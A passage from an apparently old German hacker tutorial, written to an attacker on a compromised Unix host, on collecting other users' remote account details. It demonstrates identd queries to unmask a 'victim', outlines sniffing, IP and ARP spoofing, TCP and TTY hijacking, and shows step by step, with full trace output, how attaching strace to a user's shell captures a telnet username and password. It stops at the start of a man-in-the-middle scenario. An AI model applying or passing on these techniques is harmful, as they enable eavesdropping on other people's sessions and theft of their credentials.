607 &lt; Proto RefCnt&nbsp; Flags&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Type&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; State&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Path
608 &lt; unix&nbsp; 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ ACC ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SOCK_STREAM&nbsp;&nbsp;&nbsp;&nbsp; LISTENING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /tmp/gpmctl
609 &lt; unix&nbsp; 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SOCK_STREAM&nbsp;&nbsp;&nbsp;&nbsp; CONNECTED&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /dev/log
610 &lt; unix&nbsp; 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SOCK_STREAM&nbsp;&nbsp;&nbsp;&nbsp; CONNECTED
611 &lt; unix&nbsp; 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ ACC ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SOCK_STREAM&nbsp;&nbsp;&nbsp;&nbsp; LISTENING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /dev/printer
612 &lt; unix&nbsp; 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SOCK_STREAM&nbsp;&nbsp;&nbsp;&nbsp; CONNECTED&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /dev/log
613 &lt; unix&nbsp; 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SOCK_STREAM&nbsp;&nbsp;&nbsp;&nbsp; CONNECTED
614 &lt; unix&nbsp; 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ ACC ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SOCK_STREAM&nbsp;&nbsp;&nbsp;&nbsp; LISTENING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /dev/log</pre>
615 Die aktiven Unix Domain Sockets interessieren hier nicht; von Interesse
616 ist nur...
617 <pre>&lt; Active Internet connections
618 &lt; Proto&nbsp;&nbsp;&nbsp; Recv-Q Send-Q&nbsp; Local Address&nbsp;&nbsp;&nbsp; Foreign Address&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (State)
619 &lt; User
620 &lt; victim
621 &lt; tcp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; localhost:1032&nbsp;&nbsp; host.account.edu:telnet&nbsp;&nbsp;&nbsp; ESTABLISHED</pre>
622 ... hier kannst du sehen, dass der User "victim" eine Verbindung vom Port
623 1032 des lokalen Hosts zum Telnet-Port (23, siehe File <font color="#33FF33">/etc/services</font>)
624 von "host.account.edu" (der Hostname wird bei Ueberlaenge abgeschnitten;
625 du kannst dir mit der Option "-n" auch die IP-Adresse anzeigen lassen)
626 aufgebaut hat. Jetzt weist du genug um ein kleines "Authentifikationsprogram"
627 (<b>identd</b>) fuer deine Zwecke zu misbrauchen. Kurz was zur eigentlichen
628 Verwendung von
629 <table>
630 <tr>
631 <td><b>identd</b>:&nbsp;</td>
632
633 <td><b>identd</b> wird von <b>V8 Sendmail</b> dazu benutzt um gefaelschte
634 E-Mails zu entschaerfen, indem <b>sendmail identd</b> befragt welcher User
635 gerade eine Verbindung zu ihm aufgebaut hat. (Das Format fuer <b>identd</b>:
636 Server/Remote-Port, Client/Local-Port)&nbsp;</td>
637 </tr>
638 </table>
639 Los geht's! Bau eine TCP Verbindung zum Port 113 (hier lauscht <b>identd</b>)
640 von "host.account.edu" auf.
641 <pre>> telnet host.account.edu 113
642 &lt; Trying 127.0.0.1...
643 &lt; Connected to host.account.edu.
644 &lt; Escape character is '^]'.
645 > 23, 1032
646 &lt; 23 , 1032 : USERID : UNIX : hvictim
647 > Connection closed by foreign host.</pre>
648 Jupp, da is' es "hvictim".
649 <p>Falls der Typ <b>rlogin</b> oder <b>rsh</b> benutzt, dann sieh' dir
650 mal die Prozess-Liste an, <b>ps auw | grep victim</b> fuer BSD Derivate
651 und <b>ps -ef | grep victim</b> fuer SysV (AT&amp;T) Unix. Von Interesse
652 fuer uns ist hier die '-l' Option der Befehle, damit gibt man den Usernamen
653 auf dem Remote Host an (dasselbe gilt auch fuer <i>SecureShell</i> - <b>ssh</b>).
654 Wenn du zwar die eben genannten Client-Programme in der Prozessliste siehst,
655 aber die '-l' Option fehlt, dann sind die Usernamen auf beiden Rechnern
656 gleich.
657 <p>Desweiteren kannst du, wenn du den Source Code von <b>telnet</b> bzw.
658 <b>telnetd</b>
659 fuer das OS des lokalen Rechners hast, den Code so veraendern, dass die
660 Account Informationen fuer ausgehende bzw. eingehende Verbindungen aufgezeichnet
661 werden.
662 <p>Die effektivste und auch einfachste Methode ist einen <i>Ethernet-Sniffer</i>
663 zu installieren. Der Sniffer setzt die Netzkarte in den <i>Promiscuous
664 Mode</i> und kann so alle Pakete, die sich in seiner Collision Domain befinden,
665 aufzeichnen. Am Besten siehst du dir mal den Code und die Docu.s von 'nem
666 Sniffer an und spielst etwas damit herum.
667 <br>Das Sniffen funktioniert nicht bei <i>ATM</i>- und bei <i>10BaseT</i>/<i>100BaseT</i>-Netzen
668 (mit intelligentem Switch - naja, aber auch hier gibt es Mittel und Wege
669 *evilG*)... und bei <i>FDDI</i>- und <i>Tokenring</i>-Netzen geht's nur
670 teilweise.
671 <p>Die Methode mit dem Sniffer ist eine passive Attacke. Aktive Angriffe
672 wie <i>(Blind-) IP Spoofing</i>, <i>TCP Hijacking</i>... sind etwas komplizierter
673 und ich werde sie hier nur kurz erleutern.
674 <br>&nbsp;
675 <table BORDER >
676 <tr>
677 <th>Methode&nbsp;</th>
678
679 <th>Beschreibung&nbsp;</th>
680 </tr>
681
682 <tr>
683 <td>Blind IP-Spoofing&nbsp;</td>
684
685 <td>Hierbei benutzt man eine falsche IP Source Adresse und versucht eine
686 TCP Verbindung aufzubauen.&nbsp;
687 <br>Es wird der 'Trusted Host' Mechanismus der BSD &acute;r&acute;-Dienste
688 (meistens <b>rlogind</b>) ausgenutzt, dieser 'Sicherheits'-Mechanismus
689 erlaubt Zugriff anhand der IP Source Adresse, es wird kein Passwort benoetigt
690 (sollte das Sniffen von Passwoertern verhindern).&nbsp;
691 <br>Die grosse Kunst bei dieser Form der Attacke besteht darin die TCP
692 Sequencenummer (s. RFC 793) richtig zu raten (da man die IP Src. gefaelscht
693 hat bekommt man die TCP Seq# des entfernten Hosts nicht zu Gesicht; es
694 sei denn, man benutzt die IP Src. Adresse eines Hosts, der sich in der
695 selben Collision Domain befindet).&nbsp;
696 <br>Bei alten Systemen ist das "Raten" relativ einfach (64K Rule) aber
697 bei neuen Systemen ist es nahezu unmoeglich, da sie ihre TCP Seq# random
698 (naja, haeufig ist der Algorithmus selten wirklich random, fuehrt hier
699 aber mal wieder zu weit) erstellen.&nbsp;</td>
700 </tr>
701
702 <tr>
703 <td>Non-Blind IP-Spoofing&nbsp;</td>
704
705 <td>Der Vorteil dieser Attacke ist, dass man im Gegensatz zur 'blinden'
706 Version die TCP Seq# und die Daten sieht. Ein wieterer Vorteil ist, dass
707 mehrere Moeglichkeiten existieren.&nbsp;
708 <ol>
709 <li>
710 IP Source Routing + Alias Interface</li>
711
712 <br>Diese Methode is sehr einfach zu realisieren, es werden einfach alle
713 Router, die das Packet passieren soll im IP Header als zusaetzliche Option
714 angegeben...&nbsp;
715 <br>Tja, aber das Dumme ist, dass der <b>rlogind </b>ueberprueft ob zusaetzliche
716 Optionen im IP Header gesetzt sind, und wenn dem so ist, dann wird das
717 Packet irgnoriert und eine Logmessage an <b>syslogd </b>uebergeben (jedenfalls
718 wird es in der BSD Version gemacht und ich denke SysV macht es auch).&nbsp;
719 <br>Zu allem Ueberfluss droppen mittlerweile die meisten Router IP Packets
720 mit der Source-Routing Option.
721 <li>
722 Der gespoofte/zu attackierte Host befindet sich in der selben Collision
723 Domain wie dein Host. Somit kannst du alle Packete sehen indem du deine
724 Ethernetkarte in den Promisc. Mode schaltest (s. Sniffer).</li>
725
726 <li>
727 Du hast den ISP des Netzes gehackt, an dem der gespoofte/attackierte Host
728 haengt. Es kann (generell) wie zuvor verfahren werden.&nbsp;</li>
729
730 <li>
731 Oder ARP Reply Spoofing ist sehr einfach und kompfortabel...&nbsp;</li>
732
733 <br>Du erzaehltst dem zu hackenden Rechner einfach, dass die gespoofte
734 IP zu deiner Hardware/Ethernet-Adresse gehoert, indem du das IP/HW-Paar
735 mit Hilfe einer ARP Message in seinem ARP Cache eintragen laesst.&nbsp;
736 <br>Ist leider mal wieder nur auf Collision Domains beschraenkt.&nbsp;
737 <li>
738 Die Route zwischen gepsooftem Host und attackiertem Host geht ueber 'deinen'
739 Router.</li>
740
741 <br>Das Schoenste ist natuerlich, wenn der Router eine Unix-Maschine ist
742 auf der du root-Rechte besitzt und die Route per default ueber deinen Router
743 laeuft. Naja, meistens ist es keine Unix-Maschine sondern ein Cisco, 3Com,
744 Ascend, Livingston PM oder sonstwas und du must die Route erst ueber &acute;deinen&acute;
745 Router redirecten (spoofe EGP/RIP Messages, oder vielleicht (wenn 'dein'
746 Netz und das zuattakierende Netz direkt am selben Backbone haengen) ICMP
747 Redirect Messages)&nbsp;</ol>
748 </td>
749 </tr>
750
751 <tr>
752 <td>TCP Hijacking&nbsp;</td>
753
754 <td>Hierbei geht es darum eine bestehende TCP-Verbindung zu uebernehmen
755 .&nbsp;
756 <br>Dabei ergibt sich das gleiche Problem wie beim Non-Blind IP-Spoofing:
757 man muss irgendwie in die Route der beiden Rechner kommen um die TCP Seq#
758 mitzulesen.&nbsp;
759 <br>Wenn man die Verbindung uebernommen hat kann man z.B. Shell-Commands
760 in den Datenstrom einfuehgen, die dann auf dem entfernten Host ausgefuehrt
761 werden.&nbsp;</td>
762 </tr>
763 </table>
764
765 <p>Bei den IP-Spoof Attacken, muss darauf geachtet werden, dass der Host,
766 dessen IP Adresse man spooft, nicht auf die Pakete des gefoolten Hosts
767 antworten kann (hierzu benutzt man eine <i>DoS (Denial-of-Service) Attacke</i>),
768 denn die Antwort (der TCP Stack generiert ein TCP RST Packet, da er nichts
769 mit den empfangenden Paketen anfangen kann) wuerde den TCP Stack des attackierten
770 Rechners dazu bringen die TCP Connection sofort zu beenden... und wer will
771 das schon?
772 <p>Drei "Sniffer"-Techniken erlauben es sogar verschluesselte Verbindungen
773 (z.B. mit <i>SSH</i>) im Klartext aufzuzeichnen (bzw. Daten einzugeben).
774 Dabei handelt es sich um <i>TTY-Hijacking,</i> <i>Process
775 </i>(bzw.
776 <i>Systemcall</i>)
777 <i>Tracing
778 </i>und
779 die <i>Man-in-the-Middle (MIM) Attack</i>. Die ersten beiden Verfahren
780 setzen den root Zugriff auf einem der Endsysteme voraus.
781 <p>Beim <i>TTY-Hijacking </i>gibt es die verschiedensten Arten.
782 <ul>
783 <li>
784 Ein einfacher 'ioctl()'-Aufruf (siehe dazu den Source Code von<b> </b><a href="http://www.thc.org">Smeagol
785 (s. thc-uht1.tgz)</a> ) erlaubt es zeichenweise Daten in den TTY-Stream
786 einzugeben (aber nicht auszulesen).</li>
787
788 <br>Das Schoene an dieser Methode ist, dass man nicht unbedingt root-Rechte
789 benoetigt. SEHR alte Systeme checken die Zugriffserlaubnis fuer Specialfiles
790 anhand der r/w/x-Perms des Filesystems und nicht mit Hilfe des Kernels.
791 SunOS hat einen Bug, der es erlaubt selbst non-root Usern einen Filedescriptor
792 fuer Specialfiles zu erhalten.
793 <li>
794 Man kann die Shell eines Users durch einen <i>PTY</i>-Wrapper ersetzen
795 (<i>PTY</i> = Pseudo-Terminal-Type), dadurch kann man alle Ein- und Ausgaben
796 mitlesen.</li>
797
798 <li>
799 Einfuehgen von <i>LKM</i>s (Loadable Kernelmodules) erlaubt das Mitschneiden
800 von Ein-/Ausgaben und die Eingabe von eigenen Daten durch veraendern von
801 STREAMS</li>
802
803 <li>
804 Durch das Verbiegen von Systemcalls (aehnlich dem Verbiegen von DOS Interrupts
805 in der Intr-Vektortabelle, aber wesentlich einfacher) koennen Eingaben
806 aufgezeichnet werden.</li>
807 </ul>
808 Ok, kommen wir zum Tracen von Systemcalls.
809 <br>Es wird eigentlich benutzt um Programme zu debuggen. Man kann den Aufruf
810 von Systemcalls (und Signals) incl. Parametern verfolgen. Das coole ist,
811 dass viele Unix-Derivate ueber dieses Feature und den entsprechenden Tools
812 verfuehgen.
813 <br>Unter Linux heisst dieses Programm <b>strace</b> (SunOS: <b>trace</b>,
814 Solaris: <b>truss</b>, IRIX: <b>par</b>).
815 <p>Ok, als erstes muessen wir uns ein Opfer aussuchen, d.h. die Shell eines
816 Users (oder natuerlich auch eine bereits bestehende Verbindung mit <b>telnet</b>,
817 <b>rlogin,
818 ssh</b>...). Dazu benutzen wir <b>ps</b>.
819 <pre>> ps
820 &lt;&nbsp;&nbsp;&nbsp;&nbsp; PID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TTY&nbsp;&nbsp;&nbsp;&nbsp; STAT&nbsp;&nbsp;&nbsp; TIME&nbsp;&nbsp;&nbsp; COMMAND
821 &lt;&nbsp;&nbsp;&nbsp;&nbsp; 69&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; v04&nbsp;&nbsp;&nbsp;&nbsp; SW&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp; (agetty)
822 &lt;&nbsp;&nbsp;&nbsp;&nbsp; 70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; v05&nbsp;&nbsp;&nbsp;&nbsp; SW&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp; (agetty)
823 &lt;&nbsp;&nbsp;&nbsp;&nbsp; 257&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; v06&nbsp;&nbsp;&nbsp;&nbsp; SW&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp; (agetty)
824 &lt;&nbsp;&nbsp;&nbsp;&nbsp; 599&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; v02&nbsp;&nbsp;&nbsp;&nbsp; S&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp; -bash
825 &lt;&nbsp;&nbsp;&nbsp;&nbsp; 707&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; v03&nbsp;&nbsp;&nbsp;&nbsp; S&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp; -bash
826 &lt;&nbsp;&nbsp;&nbsp;&nbsp; 744&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; v02&nbsp;&nbsp;&nbsp;&nbsp; R&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp; ps</pre>
827 So, wir nehmen uns mal die <b>bash</b> mit der PID 707 vor. Wir rufen <b>strace</b>
828 mit der Option '-f' auf um auch die Child-Prozesse der <b>bash</b>, wie
829 z.B. <b>telnet</b>, zutracen. Eine grosse Menge der Ausgaben von <b>strace</b>
830 habe ich herausgeschnitten um die Lesbarkeit zu verbessern.
831 <pre>> strace -f -p 707 2>&amp;1 | egrep "read|recv|write|send|exec|socket|connect"
832 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Process 707 attached - interrupt to quit
833 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, "t", 1) = 1
834 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, "t", 1) = 1
835 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, "e", 1) = 1
836 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, "e", 1) = 1
837 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, "l", 1) = 1
838 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, "l", 1) = 1
839 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, "n", 1) = 1
840 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, "n", 1) = 1
841 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, "e", 1) = 1
842 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, "e", 1) = 1
843 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, "t", 1) = 1
844 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, "t", 1) = 1
845 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, " ", 1) = 1
846 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, " ", 1) = 1
847 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, "d", 1) = 1
848 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, "d", 1) = 1
849 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, "o", 1) = 1
850 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, "o", 1) = 1
851 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, "o", 1) = 1
852 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, "o", 1) = 1
853 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; read(0, "\r", 1) = 1
854 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; write(2, "\n", 1) = 1</pre>
855 Hier koennen wir sehen wie der User <b>telnet doo</b> aufruft. Mit &acute;read(..)&acute;
856 werden die Usereingaben gelesen und mit &acute;write(..)&acute; zum Terminal
857 des Users geschrieben.
858 <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: execve("/bin/telnet", "telnet", "doo", env:["ignoreeof=10",&nbsp; [pid 772]:</pre>
859 Hier sehen wir nochmal genauer welcher Child-Prozess aufgerufen wurde.
860 <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; socket(PF_INET, STREAM, IPPROTO_IP) = 3
861 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: connect(3, AF_INET(23, 10.0.0.1), 16) = 0</pre>
862 Der Socket wird erzeugt und die Verbindung (IP Adresse und Port sind gut
863 sichtbar) wird aufgebaut.
864 <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "Connected to doo.the-haze.org.\n", 32) = 32
865 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "Escape character is '^]'.\n", 26) = 26</pre>
866 Der uebliche telnet-Kram wird dem User angezeigt.
867 <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: recv(3, "\ff\fb\1\r\nLinux 1.1.59 (doo.the-haze".., 1024, 0) = 49
868 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "\r\nLinux 1.1.59 (doo.the-haze.or".., 46) = 46</pre>
869 Das Welcome-Banner des Remote Hosts wird empfangen und an den User weitergegeben.
870 <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: recv(3, "\ff\f2\r\ndoo login: ", 1024, 0) = 15
871 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "\r\ndoo login: ", 13) = 13</pre>
872 Die Login-Aufforderung.
873 <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "t", 1024) = 1
874 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "t", 1, 0) = 1
875 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: recv(3, "t", 1024, 0) = 1
876 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "t", 1) = 1</pre>
877 Der ertse Buchstabe des Loginnamens wird eingelesen (&acute;read(..)&acute;),
878 and den fernen Rechner gesendet (&acute;send(..)&acute;), das Echo empfangen
879 (&acute;recv(..)&acute;) und zu dem User gegeben (&acute;write(..)&acute;).
880 <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "i", 1024) = 1
881 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "i", 1, 0) = 1
882 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: recv(3, "i", 1024, 0) = 1
883 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "i", 1) = 1
884 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "c", 1024) = 1
885 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "c", 1, 0) = 1
886 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: recv(3, "c", 1024, 0) = 1
887 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "c", 1) = 1
888 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "k", 1024) = 1
889 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "k", 1, 0) = 1
890 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: recv(3, "k", 1024, 0) = 1
891 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "k", 1) = 1
892 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "\r", 1024) = 1
893 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "\r\0", 2, 0) = 2</pre>
894 Der Loginname ist "tick".
895 <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: recv(3, "\r\nPassword: ", 1024, 0) = 12
896 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "\r\nPassword: ", 12) = 12</pre>
897 Der Passwort-Prompt.
898 <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "T", 1024) = 1
899 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "T", 1, 0) = 1</pre>
900 Zum Einlesen des Passwortes sind nur &acute;read(..)&acute; und &acute;send(..)&acute;
901 noetig, da es bei Unix Maschinen ueblich ist das Passwort verdeckt einzulesen.
902 <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "E", 1024) = 1
903 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "E", 1, 0) = 1
904 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "S", 1024) = 1
905 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "S", 1, 0) = 1
906 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "T", 1024) = 1
907 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "T", 1, 0) = 1
908 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "S", 1024) = 1
909 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "S", 1, 0) = 1
910 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "T", 1024) = 1
911 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "T", 1, 0) = 1
912 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "R", 1024) = 1
913 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "R", 1, 0) = 1
914 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "A", 1024) = 1
915 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "A", 1, 0) = 1
916 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "C", 1024) = 1
917 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "C", 1, 0) = 1
918 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "E", 1024) = 1
919 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "E", 1, 0) = 1
920 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: read(0, "\r", 1024) = 1
921 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: send(3, "\r\0", 2, 0) = 2
922 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: recv(3, "\r\0\r\n", 1024, 0) = 4
923 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "\r\r\n", 3) = 3</pre>
924 Sein Passwort ist "TESTSTRACE".
925 <pre>&lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: recv(3, "Last login: Mon Sep 22 15:58:52 ".., 1024, 0) = 48
926 &lt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [pid 772]: write(1, "Last login: Mon Sep 22 15:58:52 ".., 48) = 48</pre>
927 Die Lastlogin-Message, das Einloggen war also erfolgreich. Was wollen wir
928 mehr?
929 <br>&nbsp;
930 <p>Kommen wir nun zur <i>MIM Attack</i>.
931 <br>Eine <i>MIM Attack</i> haengt stark von dem Protokol fuer den Schluesselaustausch,
932 von der zugrundeliegenden Netzwerkarchitektur, vom Routing und so weiter
933 ab.
934 <br>Ich werde mal ein kleines Szenario darstellen bei dem ein asymmetrischer
935 (Public-Key) Kryptoalgorithmus verwendet wird. Die technischen Feinheiten
936 sollen uns hier mal nicht interessieren.
937 <br>Nehmen wir an, dass sich ein BKA Beamter (Harald) mit einem BSI Angestellten
938 (Jochen) ueber die neusten Entwicklungen von und in der <b><font color="#3366FF">THC</font></b>-Crew
